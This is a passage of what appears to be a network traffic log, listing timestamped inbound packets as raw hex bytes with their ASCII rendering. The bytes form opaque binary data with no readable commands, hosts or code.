e0 fe ed 99 bd ac a9 c0 7d 97 e4 23 5c 02 16 4d 28 57 30 5f 0e b2 4b 68 b2 71 e1 5a 52 ce 18 50 88 36 ad 2e 6b 94 c8 02 d1 c9 bd 14 16 0e 5e Data Ascii: }!6NqROq3t:"jz-HQ]O+v<O8?&ckb$`~/L+u8*-XwJ",MXXoz$.Sjq?e^+!TU3]fk{}}#\M(W0_KhqZRP6.k^
2021-10-13 10:51:51 UTC	67	IN	Data Raw: 4e 28 6b 72 e6 0d 62 3e 2c 00 85 43 b1 7f 7b 23 08 d9 3d 9b 62 55 72 97 12 0b 1b 58 1b b2 00 78 14 56 26 78 d4 c3 ee 4c d2 fd 53 bd 9a e9 63 e3 56 2f 5d 14 b6 7e 32 8b 8c 79 fb 63 05 50 19 6e 68 00 7d 0b cc 8c d3 6c a1 95 8e 24 03 4a c9 c4 62 58 62 fc 51 3e e7 10 db f2 05 b3 e7 d5 e2 54 9d c4 24 a7 cc 4e e4 1f cc b7 31 36 94 37 5e a0 de a7 3c db f7 f5 a0 00 94 73 ad 65 50 ba 71 bc 44 56 c5 9d 9b fa 5e ff bf 4f 2d fe 05 b5 fb db 8a 2b 6f 82 1c 3c 72 ce d3 bc 7c ae e1 a2 a3 f5 64 c7 f1 c5 0b 5b 97 2b ff 73 63 60 2f 9f 7e 66 51 bf 52 5c e6 89 87 65 8c 3e c4 f0 d4 23 69 03 d6 9b ed a9 f7 2a ca ea e3 e4 a7 4d b3 09 7c 76 31 f3 27 4d cf ec 2f cf 61 0d 97 59 06 93 c9 39 d5 fd 32 59 5a 24 85 fa 13 11 4d be 25 d8 cf 72 97 04 40 f5 78 26 dd eb a7 19 fe 2f df 01 f0 Data Ascii: N(krb>,C{#=bUrXxV&xLScV/]~2ycPnh}l$JbXbQ>T$N167^<sePqDV^O-+o<r\|d[+sc`/~fQR\e>#i*M\|v1'M/aY92YZ$M%r@x&/
2021-10-13 10:51:51 UTC	68	IN	Data Raw: cc 28 e8 2a c9 c0 7d 2c 04 2c 4c 77 4a ec 7f 89 09 29 e3 f7 79 1a d4 73 03 fa c7 b5 85 b5 18 b1 c3 3d b0 fe 82 23 c5 4a 7a 24 20 b2 15 99 eb f1 1c 01 9e aa 73 d2 27 e5 55 fc c5 c7 f2 15 10 cf 72 23 b3 31 1e c2 6b f7 f9 c8 97 84 73 97 01 1b f3 6c 0f 0c ed b0 55 87 71 e0 03 38 cd f7 91 ca b4 92 b7 b6 de e7 ff ca 22 5d 1b 2a 44 86 6a 21 48 83 9e 41 76 3e f8 f0 79 47 f5 ae 59 99 36 bb df 50 83 ec 03 d0 d5 84 e5 01 1f 5e db da e8 c2 5a 12 99 fb 2c 8e b3 a1 af df 87 8d f4 da c7 f9 0f e4 7d 43 09 43 05 e0 b1 13 01 8f d1 d1 11 48 fb 0d 2f 13 1d 61 a2 08 10 77 56 0c 1e 25 70 dc a5 d9 b3 7b 2d ff d3 43 5c 14 5d a1 d5 42 38 1d 34 05 c4 4a 61 dd 3f 27 7b 93 90 1e 8d b4 7c a3 b7 13 6f 94 d0 f0 f5 95 1d 52 19 2d 8e bc 57 3a 58 77 4d 6f 17 2b 37 42 33 19 82 93 1c 80 75 Data Ascii: (},,LwJ)ys=#Jz$ s'Ur#1kslUq8"]Dj!HAv>yGY6P^Z,}CCH/awV%p{-C\]B84Ja?'{\|oR-W:XwMo+7B3u
2021-10-13 10:51:51 UTC	70	IN	Data Raw: 68 f1 2a 82 d0 59 6c ae 4a 41 bf 6a 99 7d 8e cc 8a 9b 46 6e ee b2 52 29 66 4c 60 eb d6 97 f5 13 93 0c 31 69 f5 eb 74 6d ab 6f 14 a4 2f 73 11 7c ca 0b 16 eb 38 eb 7f 72 65 a0 33 56 b4 42 8f 44 52 cd 4e 96 60 8c 43 ef e1 d0 38 6d e4 f2 8c c2 bb ea 24 f3 99 f6 e1 b0 6b 59 2d 83 70 19 6b f2 5c cd 8e de 5a bb 99 d3 49 15 95 d2 3f ec 87 27 57 c8 1d 01 ef 1d 83 bf b8 20 c9 cf 10 66 91 68 12 16 26 d5 c3 7a 10 d6 58 f3 25 f6 c1 2e 9d 35 76 34 89 ee f2 8d 48 e3 ab a5 96 40 87 95 ae 7e 85 44 75 86 31 0b 35 17 f1 a2 c2 0e f9 49 f4 2e f8 25 ca ce b7 65 f3 16 b0 32 9a 3c 87 e3 8b 33 99 d0 08 c1 14 f5 2b cd 42 0a 35 4d 95 e2 6e ef 50 fc 53 3c ca c2 a6 6a 1a 16 43 46 5e 5e af 2b f5 d5 35 7b 4b 93 00 b5 37 38 15 46 5e 6d 4b ae ca 54 30 db 91 24 bc c7 b5 5f ab 7f fa 92 4f Data Ascii: h*YlJAj}FnR)fL`1itmo/s\|8re3VBDRN`C8m$kY-pk\ZI?'W fh&zX%.5v4H@~Du15I.%e2<3+B5MnPS<jCF^^+5{K78F^mKT0$_O
2021-10-13 10:51:51 UTC	71	IN	Data Raw: 41 07 95 d1 f0 7f 57 f7 a2 41 82 53 b1 53 e7 a1 b3 07 d2 df 9f 8e 3f 0c 54 d4 45 4e f4 5c 0a 98 fd 49 bb b5 bf b8 dc 80 82 b3 db c7 f9 0f e4 60 45 d5 3f 3a f0 a5 08 05 08 77 eb c3 9a 05 f2 34 08 03 d8 9e 03 01 77 4c 18 23 6d 8d ad ed b0 a9 7a 2d f4 d0 44 74 03 5c 94 de 9d 3c 70 24 1e c4 40 6c c6 05 ff 6e 9a ba 29 8d 22 76 b0 ad 2d 52 9e e8 e4 fd bd 25 52 08 2f 4f ab af 11 74 64 0a 71 01 29 b9 f5 22 1c 94 fc 1b 82 42 d1 8b 0b 16 6b 63 c6 a6 60 6d 6a 57 ab cc 70 03 49 1a 09 3d 85 72 04 4b 02 01 07 9a f3 c1 e6 97 ca 94 a4 6e eb c2 d1 ab 73 b0 63 36 d4 e2 62 b7 e7 f1 44 64 6b a9 17 86 83 f1 90 52 1b f4 67 3b a1 81 69 fe b7 02 89 96 88 a9 f3 47 db 92 e5 14 cd 6e 5c a3 0b 61 8a 68 7f 39 a8 1e f3 ce 87 65 59 eb 6f c7 97 c3 e9 44 90 75 b5 6d a3 7a 61 36 71 e1 5b Data Ascii: AWASS?TEN\I`E?:w4wL#mz-Dt\<p$@ln)"v-R%R/Otdq)"Bkc`mjWpI=rKnsc6bDdkRg;iGn\ah9eYoDumza6q[
2021-10-13 10:51:51 UTC	72	IN	Data Raw: 8b c3 8b 81 97 26 0b 0b c9 63 93 9b 77 02 51 78 d7 c3 7a 30 69 21 f7 23 d8 2b af 99 3f 7c 14 39 c2 f2 8b 31 25 0d a4 9c 2f 80 bf 9f 74 8d 66 27 85 37 00 c0 0f f4 a2 c4 21 12 c7 f5 28 8d c9 cf df b9 22 a7 10 b0 3e fd 93 05 e7 8d 18 b6 52 01 1c 6f dc b3 ce 54 1d 42 dd 1c e3 64 86 47 24 40 39 d1 ef 1d 22 1b 10 6b d3 5e 4f ac 15 1f 58 34 7d 3e 7f 07 9d 76 56 15 4e 4f 63 52 83 5b 3f b9 dc b9 a6 d7 5a b3 77 26 68 fd 9c 14 35 32 a7 ef c8 98 b1 8d 71 e6 70 43 e4 ea f9 8d 47 0e b5 da cf f2 ef cb 5b 69 d3 99 c8 d1 ff 89 2f 2b 6b be 3a d4 b2 c5 0b f2 82 da 91 de e6 b2 c5 cb dd fe b9 9c 6a fd ec 51 ce 93 16 06 e6 ec d0 5d dd 25 a0 2f eb 00 eb 4d 23 e1 2e a6 b2 d8 70 c5 48 28 1a 76 1f bd ee a8 dc da 06 2c d3 d1 9a 91 b9 da f5 3e c1 1d 2a 66 9c ca 0e bf 13 7a a1 67 7d Data Ascii: &cwQxz0i!#+?\|91%/tf'7!(">RoTBdG$@9"k^OX4}>vVNOcR[?Zw&h52qpCG[i/+k:jQ]%/M#.pH(v,>*fzg}
2021-10-13 10:51:51 UTC	73	IN	Data Raw: f1 a2 2e 4d 2e bb 41 b2 4e 1c 78 e2 0c 73 17 b7 26 4c 2c 14 a2 42 1c 80 42 47 bc 1a 11 76 4b 09 b7 68 76 08 47 89 da 6e 1b 67 99 73 af 86 71 13 3a 8f 18 16 94 1c e0 14 9e db 92 25 4e dd c2 d1 a7 05 2c 63 30 d4 fd 83 ed 57 f2 48 f5 c8 a1 af 0d 44 72 a4 47 04 cd e8 2f b0 93 6c d6 62 13 81 8a ea b9 d1 50 dd b5 07 08 51 73 d3 ba 05 6f 9a 57 ab c7 a9 32 37 ce 8d 6b 46 fd 1a 5d 17 da a9 43 d2 da a4 6b 32 fe 2f 23 0c 9a 4d fe f5 63 3b 83 d4 1a 29 fc 5c 65 1a 07 12 0d cb b3 ff 46 41 00 48 38 69 63 e6 e8 dd 7a fa d8 36 51 f0 b8 71 79 a2 76 15 a5 73 29 93 8c 7b fb 4b 13 e7 31 74 f5 11 79 14 c5 92 43 75 21 3a 99 c2 28 73 dd dc 42 9c 76 f0 40 ae fa 0a d2 e1 7b a1 41 d3 77 fc ee 9c 3c 27 67 46 72 94 0b 34 13 29 d3 aa 5c ab d7 8e 4b 6c e0 2f 2f 00 89 61 8f 5d a8 bf 60 Data Ascii: .M.ANxs&L,BBGvKhvGngsq:%N,c0WHDrG/lbPQsoW27kF]Ck2/#Mc;)\eFAH8icz6Qqyvs){K1tyCu!:(sBv@{Aw<'gFr4)\Kl//a]`
2021-10-13 10:51:51 UTC	75	IN	Data Raw: 03 ad 30 57 1c 5c a0 66 6f 8f 56 dd 1b dd b9 a1 b2 de be 77 25 60 04 95 10 0f 37 b1 c1 c0 9f 99 a0 66 3c 6d bd 46 c1 f9 87 7f f9 b7 dd d9 e4 66 54 33 32 d3 b2 d1 de 60 36 38 e4 7f 94 26 c8 ba d8 39 94 87 f6 93 dc 41 ae c8 cb d5 fc 53 89 6e 57 fb 5c c4 8e 22 23 e4 c0 d4 60 52 09 23 28 c0 14 ff 42 3b 40 2e 57 b9 f0 d1 65 48 22 1a 01 88 b3 ef a2 d1 d6 13 15 85 c5 b2 03 b7 dc db 89 48 1a 2c 4e 5f de 1a a1 48 cb a3 67 7d 47 e4 03 9b 02 38 e1 d3 fb 85 5e 53 02 fc e5 d0 e0 b5 12 b2 ff 25 90 54 08 94 bd 42 66 26 24 36 b1 bd e7 e3 17 33 00 bd 62 da 3f 67 f3 89 38 d4 f6 00 9a 17 b9 23 3d 8c 25 d6 7c e4 fe e1 e2 94 7b f8 36 14 e2 6b 86 1b 98 8b 52 e8 f4 f2 0a 23 ec 44 fa e7 b3 ba 7f a7 d7 fa 83 e1 32 58 39 04 5c 0b 4b 18 0f 83 8d 4b 1b 69 d2 f0 73 55 e1 ba 57 9c 14 Data Ascii: 0W\foVw%`7f<mFfT32`68&9ASnW\"#`R#(B;@.WeH"H,N_Hg}G8^S%TBf&$63b?g8#=%\|{6kR#D2X9\KKisUW
2021-10-13 10:51:51 UTC	76	IN	Data Raw: a9 32 8b df 83 65 77 7e 7e c1 0c d6 9e 30 f3 7c ae 7f 25 4a ab 2c 13 8b 3d a9 68 72 3f 96 16 28 d2 cb 5c 65 8c 3e 32 10 d6 aa af f2 68 0e 57 2c ac ff f1 cc c2 65 e4 9b aa 40 fe b5 6e 69 35 47 15 b7 68 3a 9d 9c 6e dd 6f 8b c4 31 74 69 20 77 03 cb b5 43 64 2f 28 84 be a2 4a 46 c4 62 58 19 ec 41 32 e1 0e 16 f2 24 0a 50 dd 66 cb 95 00 2d 23 a5 59 38 22 1a 3b 1e 36 94 36 4d a5 c9 bb a7 6c ec 35 b3 11 86 60 84 55 5e bd 60 bb 79 9f fc 8f 96 cb 54 ee b2 fb f7 6a 75 3d e7 ee 0a ff 7c 8f 0d 38 7c cf 1c 5f 41 be 6b 3d 8d 2a 73 17 6a d2 25 5b 96 32 ef 25 e4 65 a1 28 79 ad 4f ad 48 4d d5 25 97 4c 95 08 22 e3 d0 32 78 8e 01 8d cb a6 18 2d f7 e6 ea ec b6 4a 3f d7 82 5a 35 e7 fd 45 c6 fd 28 44 af 6d bd 65 19 45 c3 37 c4 fa 0b 43 ce 35 8b e7 02 90 9a 20 2a d6 c7 9d 98 bc Data Ascii: 2ew~~0\|%J,=hr?(\e>2hW,e@ni5Gh:no1ti wCd/(JFbXA2$Pf-#Y8";66Ml5`U^`yTju=\|8\|_Ak=sj%[2%e(yOHM%L"2x-J?Z5E(DmeE7C5
2021-10-13 10:51:51 UTC	77	IN	Data Raw: da c9 07 3d db d4 a4 02 96 c1 f3 2f 5b e4 2b 4a 9f c6 11 ab 3c c4 5f 66 5b 48 fa 67 81 07 20 15 ff db af d7 55 29 19 cf b0 8a b5 18 b1 ff 0e ba f4 71 fc bb 2d 7e 0e 24 3c a2 a2 c1 f2 1c 23 9c bc 62 dc 2e 6b f3 94 a9 ec e9 11 99 6f 5a 20 11 84 2e d3 6a f0 e5 27 90 b9 79 ef 2c 1a f4 7e e2 09 b2 98 7f 85 50 10 08 52 ad e0 fe e3 9f b0 bf a4 aa 99 90 e4 27 77 11 35 5c 18 71 23 48 aa 8d 4b 68 b5 d3 f0 68 50 ed 80 4b 88 3b a5 af e6 87 ca 1a db df 92 f7 e9 0f 78 d0 43 54 dc 75 10 66 fa 0a 9d 9c bd 95 39 93 e8 b6 c0 c6 fd 2f d7 76 51 7e 46 2e e1 b5 33 10 86 c0 c7 4e 66 fa 25 25 02 14 08 8d 09 01 6b 56 20 06 33 74 45 ec b7 af 78 35 fe c0 43 62 fd 5d 8d dd 44 34 72 2f 1c 3a 41 41 d7 1e fb 45 55 ba 52 e6 b4 76 b4 96 19 43 95 ad 9d ff bd 21 78 19 27 50 af 61 12 58 5f Data Ascii: =/[+J<_f[Hg U)q-~$<#b.koZ .j'y,~PR'w5\q#HKhhPK;xCTuf9/vQ~F.3Nf%%kV 3tEx5Cb]D4r/:AAEURvC!x'PaX_
2021-10-13 10:51:51 UTC	79	IN	Data Raw: 3e 08 8b 3a 0e 27 82 3d 66 be c9 a9 a5 92 e1 03 b1 09 8c 7e 81 6b bf be 4c b3 44 87 cc 8b 8e 90 57 c2 b0 73 f5 41 87 29 91 ac 9d fd 78 a5 3b 33 60 f7 f3 5e 6d a1 12 6f b4 2f 77 3b 7c fa 18 6b 95 38 8a 65 72 65 a1 28 66 bc 40 85 56 52 cd d1 95 4d 96 18 6e e4 d0 34 14 be 0e 8d c8 cb e4 5f 8a e5 f2 e7 d9 00 26 29 85 74 32 db b3 59 cb fb 4e 70 b9 93 b6 26 2c 94 d8 31 c6 97 61 56 ce 33 82 c3 22 80 97 26 4c e2 cb 63 93 ff 3b 19 79 20 d5 ac 32 19 fe 23 f4 0d b0 ec af 9f 5a 5b 1e 11 e7 9d de 3a 1c ac a7 f3 6d 86 97 a8 77 a5 2d 0f 82 37 62 36 97 f5 a8 ab 71 60 4a f2 02 95 c9 fb cc bd 22 f3 14 b0 30 92 14 15 f1 80 1e aa 54 0b d6 ec dc 9f cc 5a 07 46 b5 82 1c 65 ac 52 e9 58 36 c5 f2 db 6f 36 12 40 c0 71 bd ab 78 0b d1 35 79 12 4e 03 b6 40 2c 15 44 5a 4d 43 86 4c 43 Data Ascii: >:'=f~kLDWsA)x;3`^mo/w;\|k8ere(f@VRMn4_&)t2YNp&,1aV3"&Lc;y 2#Z[:mw-7b6q`J"0TZFeRX6o6@qx5yN@,DZMCLC
2021-10-13 10:51:51 UTC	80	IN	Data Raw: 96 fa 3c 15 8d 33 43 02 5e 5c d4 84 92 41 77 8d 4f f6 66 4d f9 a1 cc 8e 23 be 4e 85 37 ce 1d dd c2 09 e7 08 00 74 0f 54 5f dc ee 0e 87 f4 39 b9 2b b9 a1 ca b1 75 dc c0 c6 65 03 ea 65 4d 64 b0 28 fe a3 39 91 86 c0 d4 e2 62 e5 1e 3c 9e 12 11 99 29 f7 7d 5d 0b 81 35 6c 47 32 04 83 7a 2d 69 c6 5b 62 1c 4f 3d d9 4c 28 52 8d 04 c4 40 f1 d3 2a e1 4e 06 b8 29 8d 28 70 af a5 24 38 0a d6 e9 e5 9d cb 52 19 27 cc ba 4e 0b 47 38 90 75 08 37 28 4d af 1f 9d 8e 03 c1 de dd b2 0a 11 6d f7 c0 a8 77 56 79 56 87 c5 fd 02 4e 25 7d da 05 67 13 6a 0c 1d 84 8d 12 e2 ea 12 db 92 b9 c3 d5 c2 e0 98 9e b0 72 3e 57 e8 83 92 d4 a8 da ec c3 9b d2 d7 c9 7a a4 74 04 f8 e8 38 a1 ab 5a 37 b7 13 81 16 70 b7 f7 6f 44 95 fc 08 cd 75 50 82 2b 8e 82 77 70 5b af 2d 81 ff 55 74 5f e2 e2 c7 19 ff Data Ascii: <3C^\AwOfM#N7tT_9+ueeMd(9b<)}]5lG2z-i[bO=L(R@*N)(p$8R'NG8u7(MmwVyVN%}gjr>Wzt8Z7poDuP+wp[-Ut_
2021-10-13 10:51:51 UTC	81	IN	Data Raw: 09 af 4c 0b 86 d3 37 d5 f3 3d a9 cf 19 bb f9 14 94 91 08 53 c8 c9 65 88 99 1c 39 79 26 cc c9 64 30 7d 27 f7 23 e6 64 a8 99 35 71 08 05 f9 da 23 3b 1c a0 b2 10 10 87 97 af 5c 3d 6c 0a 88 19 57 1d 95 ff a9 db 2f 72 41 f4 39 80 c7 35 cf 91 0c f5 07 b9 26 81 1f 04 f6 80 2d 4f 55 20 cb 10 f5 29 ce 42 06 4a ab 87 e9 64 91 5b e9 ad 37 ee e9 3d 7d 11 10 7a c9 45 55 57 02 5c ce 24 7a 3e 7d 09 2f 15 e1 11 44 58 4f f4 82 4c 56 26 f5 d6 a1 b8 c1 dc 53 2e 7b fc 8b 30 39 3a a7 f8 d2 82 67 ab 5d f7 6b 6e e3 5f fd 87 78 da cc da cf e9 fb e5 41 7a d8 b2 ca d2 f8 7f 17 eb 68 a9 29 ce ba c0 28 75 94 24 96 e4 69 9e c0 f3 fb 14 52 77 4b 7f ec 42 f4 82 3e 94 e5 ec d6 e0 50 22 b1 39 e6 3f ce 59 03 51 d0 a7 94 ff d3 bb ee 22 0b 76 21 9b 7a a9 da c3 04 24 d7 c5 ba 1e 43 db df 2a Data Ascii: L7=Se9y&d0}'#d5q#;\=lW/rA95&-OU )BJd[7=}zEUW\$z>}/DXOLV&S.{09:g]kn_xAzh)(u$iRwKB>P"9?YQ"v!z$C*
2021-10-13 10:51:51 UTC	82	IN	Data Raw: 96 7f 56 d0 57 b3 53 86 e4 b4 94 6e 5c e5 a8 4b f3 6a 75 2f f2 28 9c d1 6c 8d 1b 5e 54 dd e2 54 45 93 6d 15 be 25 6a 02 78 fa 1a 5f 8c c6 f8 49 69 45 5e 28 66 bc 44 b7 23 55 1b fb 35 60 9d 30 31 c1 2f 32 67 97 53 ec cf aa f5 28 db f5 f6 f7 48 42 0b 2a 94 65 35 f3 e0 58 d0 03 20 77 b9 b8 be 62 9c 9c f2 37 df c8 20 57 25 37 81 eb b2 85 97 31 21 b7 51 63 99 9a 7e 30 57 26 d7 c9 66 36 de 26 89 bd f0 e9 a5 8f 1d 5e 1c 11 e7 e4 b8 39 37 a5 a1 e2 b7 87 97 a4 62 a5 42 0a 82 3b 1b 2e 9e dd 8c c6 26 67 40 29 87 89 da cb cd ae 0d 80 d4 b0 38 98 1f 15 e0 98 24 a7 47 1c d0 03 b2 7e ce 42 06 55 a0 bf fc 75 91 41 ee 3c d2 c3 ea 2f 7d 11 17 79 c9 72 67 ab 03 7a be e5 7d 38 66 10 a5 2a 81 06 54 4f 77 52 94 7e 8c 43 1d b9 a0 b2 ca a5 70 43 41 f8 94 36 3d eb b4 fa ca 92 a1 Data Ascii: VWSn\Kju/(l^TTEm%jx_IiE^(fD#U5`01/2gS(HBe5X wb7 W%71!Qc~0W&f6&^97bB;.&g@)8$G~BUuA</}yrgz}8fTOwR~CpCA6=
2021-10-13 10:51:51 UTC	83	IN	Data Raw: ca a9 47 83 3c b5 49 19 aa e4 00 fb dd be 02 15 75 f8 d2 54 5b f6 50 0a 9b 86 8a 9f b7 bb 94 da 91 93 cf f0 c5 f9 90 f5 74 52 b1 2c 2e f0 a7 14 28 fb c0 d4 7e 64 f3 17 db 03 38 12 8e 0a 0e ab 51 00 25 47 73 52 12 b1 81 01 eb f5 c0 40 fa b4 4b 7b ee 4c 29 58 33 09 c4 49 74 2b 34 d5 6a a0 92 33 80 b4 7f a7 42 3a 6d 94 c8 fb ff b4 3e ac 18 0b 49 be 2a d6 58 77 08 74 86 0b b7 42 33 19 dd b3 9c 80 42 db 83 3b 09 52 77 cb b7 61 6e 6a 57 ab c8 62 06 2a c3 62 a1 9d ef bb 7a 8d 10 15 8b 04 d6 34 9f f7 90 ae 52 d3 d4 df 46 7a 9c 70 15 ce d6 e2 49 34 1c 41 fd 0a b5 ca 99 64 f4 b8 4c cd df 74 3e be 9f 4a f0 b7 a0 80 8a 76 1b df 4f db 83 ef 01 69 96 4f ab 0b 70 93 7e 6e 39 a8 1e 9b ce 87 63 d3 dd 7e c1 07 c2 9e ad f3 7c ae 52 fd 62 3e 2d 02 84 44 b7 12 b4 35 9c cc 39 Data Ascii: G<IuT[PtR,.(~d8Q%GsR@K{L)X3It+4j3B:m>IXwtB3B;RwanjWbbz4RFzpI4AdLt>JvOiOp~n9c~\|Rb>-D59
2021-10-13 10:51:51 UTC	84	IN	Data Raw: cb c9 69 b1 d4 6a 18 73 0e 92 c1 70 12 e6 4a 73 24 f0 ef a5 86 38 63 13 11 fc fd 94 36 e2 ab 89 81 2c f4 d5 ac 74 87 73 6e e8 42 4e 1f 95 ff 8a 83 24 61 40 e2 13 16 de cb ce a2 04 e0 1b b0 29 9d 0b 14 19 8a 19 a4 56 0a 45 03 d5 9b 94 42 0c 4c dd 16 e3 64 86 43 f9 4c 27 d1 e5 25 7f 15 0f 49 3c 5b 72 bc 0a 61 d8 37 06 f2 6c 01 b1 34 46 1c d2 e9 f6 2d 19 53 73 23 d2 b9 b1 b7 d8 87 89 2d 57 aa 96 47 e3 31 a7 ed d1 8f 9d 7c fe cd 7a 6b c9 c2 b1 85 7e f8 b7 a1 09 e3 e8 e7 5a 1a 91 b0 db d3 ff 84 65 84 69 be 30 ed fe d3 23 60 8f cc 01 bb 28 b7 c5 c1 f4 ae af 88 48 7d a9 53 c4 8d 37 ca 73 5b b9 53 51 22 aa 52 39 14 ff 5d 14 7c 3d a9 b8 e1 de da 02 dc 0a 5e 3d a2 e3 bf 0c da 03 22 90 d6 bd 09 ac d5 ec 30 b2 1b 06 61 8b cd 13 b4 22 c1 ae 67 66 45 f2 79 7f 01 14 e6 Data Ascii: ijspJs$8c6,tsnBN$a@)VEBLdCL'%I<[ra7l4F-Ss#-WG1\|zk~Zei0#`(H}S7s[SQ"R9]\|=^="0a"gfEy
2021-10-13 10:51:51 UTC	86	IN	Data Raw: bc 5b 38 1c 75 0c 79 1e 3d a1 31 70 1b 82 99 34 c4 40 db a7 1d 19 ee 18 85 b5 68 7c bc 12 85 c5 6b 0d 49 93 11 e2 9b 61 06 63 57 0b 18 81 04 d9 5c ed 98 90 b9 55 fb 99 c1 b8 71 98 37 3c cb e4 95 ac 5d 54 29 f2 dd be c7 ec 83 7c bb 56 04 cd 67 31 be 9d 75 ef 49 12 ad bc 74 ab ac 0d c8 95 f6 11 3b 00 0c a9 0b 7a aa 33 72 c7 a3 1a ee dd 83 7e 47 8d fa c0 06 d2 c5 1b f0 7c ae 15 7b 60 3e 27 3b cb 50 b5 63 5a 78 9e c8 30 f1 e6 4f 6a 86 07 13 0d df 52 a4 f6 42 0c 50 31 a4 72 dc e6 c2 67 98 42 aa 40 fa aa 64 7a 20 5d 04 aa 6d 79 63 9c 59 fd 7d 9a ec 19 31 6b 00 7d 10 d4 8e d3 7b 6b 31 89 aa a5 6d cb 3b 63 7e 65 f2 3b f4 eb 04 cc fd 88 ac 4f d0 2c f7 a9 00 2d 30 68 56 3e 19 15 25 12 c8 95 1a 5d ac d8 a7 24 73 e9 45 8d 48 7d 81 79 62 5c ac 6f b1 42 83 d3 a4 68 6f Data Ascii: [8uy=1p4@h\|kIacW\Uq7<]T)\|Vg1uIt;z3r~G\|{`>';PcZx0OjRBP1rgB@dz ]mycY}1k}{k1m;c~e;O,-0hV>%]$sEH}yb\oBho
2021-10-13 10:51:51 UTC	87	IN	Data Raw: 68 43 97 43 4f 15 23 b8 8c a7 c5 c8 bf 2c 7b fe e7 7e 28 31 ad 97 90 9c 99 a0 59 a1 78 6b c1 fc b9 43 85 0d 4a c5 e9 f0 e7 e3 4d 66 cc 8e 25 d8 c2 a0 14 bc a3 be 3a c1 c9 93 21 6a 8c c3 fd bb 28 b7 c5 c1 f4 ad af 88 48 43 ac b8 32 78 c1 c2 d8 ff d9 4b 41 2d b6 d1 eb 38 fc 4e 18 46 2e b7 b7 ef 9c 3b 49 0e 09 59 32 8b 77 5b 25 36 25 3d db c5 a9 39 ba da 82 2f 4c 1a 9c 66 9d cf 18 d0 fd d2 a1 63 74 ce 7c 73 8c 40 7c ed fe f7 af ff 24 40 f8 cd c1 fb df 6b f6 d7 2c b2 df 48 96 bb 27 52 61 26 3c a8 a9 9e 74 1d 0b 9a cf 20 d8 2e 61 9c cb a0 c7 f8 39 d4 7a a4 2b b1 64 36 d8 6b fb e5 d4 93 ee b0 f8 27 1e df 23 1e 73 55 9a 54 83 f5 44 07 2b c6 9b 35 e7 b5 96 c9 24 d7 f0 91 e6 58 96 11 35 58 85 f6 ad 77 82 8d 4a 60 9b e4 f1 79 4c ce f1 50 88 36 a5 87 6a 81 c8 02 d2 Data Ascii: hCCO#,{~(1YxkCJMf%:!j(HC2xKA-8NF.;IY2w[%6%=9/Lfct\|s@\|$@k,H'Ra&<t .a9z+d6k'#sUTD+5$X5XwJ`yLP6j
2021-10-13 10:51:51 UTC	88	IN	Data Raw: eb 6f c7 d0 5b 9c 59 f2 7e df bb 32 62 3a 3c 1e a9 45 b4 69 78 37 e7 0e 3a fa f8 5b 16 c4 14 1c 18 c7 a4 d6 99 52 0e 5d 0e 36 fd f7 ec d3 61 96 cd a8 40 f4 9d 2a 6b 2f 57 3d e0 70 3a 97 8c 70 fc 66 04 ce 31 74 6b 7b ba 03 da 99 68 0b 37 23 86 a0 16 5a f9 c4 62 52 74 8b 88 32 eb 00 bb bc 0e 3d 5a c4 06 90 ee 02 2d 23 53 1e 3c 08 10 2c 4e 3b 95 36 4d a7 b2 65 b2 6c e4 26 a2 17 51 f1 ac 7d 41 bd 1b 61 53 8c c8 9d 9b 46 1e ec b2 52 f5 11 a2 2b ea d2 9a 8e 3e 8d 0d 3b 72 d7 91 1d 6f ab 65 3d f0 2d 73 1b 6d fe 78 1d 94 38 f3 4d 36 67 a1 22 4e f9 40 ad 4b 43 c8 ca 9b ef b4 30 50 e3 ab ff 67 97 08 3a ad a9 e7 2c d1 46 ca 4e b6 43 27 2b f8 bd 31 f3 f5 55 da fb f7 d4 91 93 bc 4b 6c 45 d8 37 c0 e9 2e 7f 85 34 81 e1 1f fe 51 20 23 cd ce 10 db 92 68 12 68 2e a4 80 72 Data Ascii: o[Y~2b:<Eix7:[R]6a@*k/W=p:pf1tk{h7#ZbRt2=Z-#S<,N;6Mel&Q}AaSFR+>;roe=-smx8M6g"N@KC0Pg:,FNC'+1UKlE7.4Q #hh.r
2021-10-13 10:51:51 UTC	89	IN	Data Raw: 36 bd da f2 3e 64 a3 2a 66 97 f2 78 ad 2a d6 a7 76 73 d0 f9 44 3e 03 38 ed e6 7a aa fc 57 03 e9 c7 da e8 a3 0e 39 ea 2c b8 f6 ae 85 b1 3a 6b 21 0c 2d a2 b1 fb 52 0d 01 8f b5 73 d3 3a 7f fa 0f 8d c7 f2 10 8d 73 b5 2a 2b 90 aa c9 61 e0 e4 45 80 9e 53 50 27 1a f9 77 17 1f 0e b6 5f 96 72 e4 90 01 d5 e0 fe ed a6 97 95 b6 d7 f0 9a 46 25 4c 15 af 48 23 8c 25 48 84 9a c6 6f b3 d3 f1 6a 4c f7 a1 46 a0 f2 b6 51 e1 09 d9 08 c4 cb 81 c9 bf 0e 54 d8 42 d3 e3 72 08 99 ed 0e 6b b6 bf b4 f6 93 b8 99 c2 c4 82 c9 f5 74 56 77 af 2e e1 b0 08 14 91 16 59 6b 64 fa 0c 0d 43 16 0e 87 7d 31 7d 5d 10 60 ff 73 52 16 b4 f8 b6 2d f5 c4 55 70 05 4d a5 45 7b 9e 72 28 0e 66 51 69 c2 e3 ea 6a a7 bc 38 85 8a 3b 4e 43 c4 43 94 ab 3f ff bd 21 55 96 0c 50 bc 53 6b 8d 77 0c 77 00 41 ed 40 48 Data Ascii: 6>dfxvsD>8zW9,:k!-Rs:s*+aESP'w_rF%LH#%HojLFQTBrktVw.YkdC}1}]`sR-UpME{r(fQij8;NCC?!UPSkwwA@H
2021-10-13 10:51:51 UTC	91	IN	Data Raw: b6 65 07 c8 ae b8 12 dc 2f b3 1b 8f 11 35 7c 41 b5 73 b5 42 88 a3 38 97 6e 5c 60 05 4e cc 05 65 2b ea c7 99 92 c8 8e 0d 3b 70 cd f4 4d 7c 93 3c 14 b4 2f 62 03 6d eb 91 48 9a 29 fd 74 7e 0a 12 29 66 b6 51 a7 55 41 c6 dc 9e 71 91 18 74 e1 d0 38 71 b7 15 8d c0 b1 f4 27 f3 70 f3 e1 b0 50 2e 09 82 77 31 f3 7c 77 cb fd 20 48 b6 b3 bd 48 17 95 55 1c c4 f8 22 44 c9 24 8a c3 dc 87 97 26 35 df da 70 8b 83 79 15 59 26 d6 c3 70 0b ea 37 e3 0d 66 e8 af 9f 26 79 0d 1a c5 23 8f 3b 1a bc b3 8f 3b 95 83 bf 73 ad 6c 0b 82 31 1e 0e 87 e6 8a 52 27 61 4c e7 21 f8 f8 c9 ce bb 19 fb 05 b8 29 9e 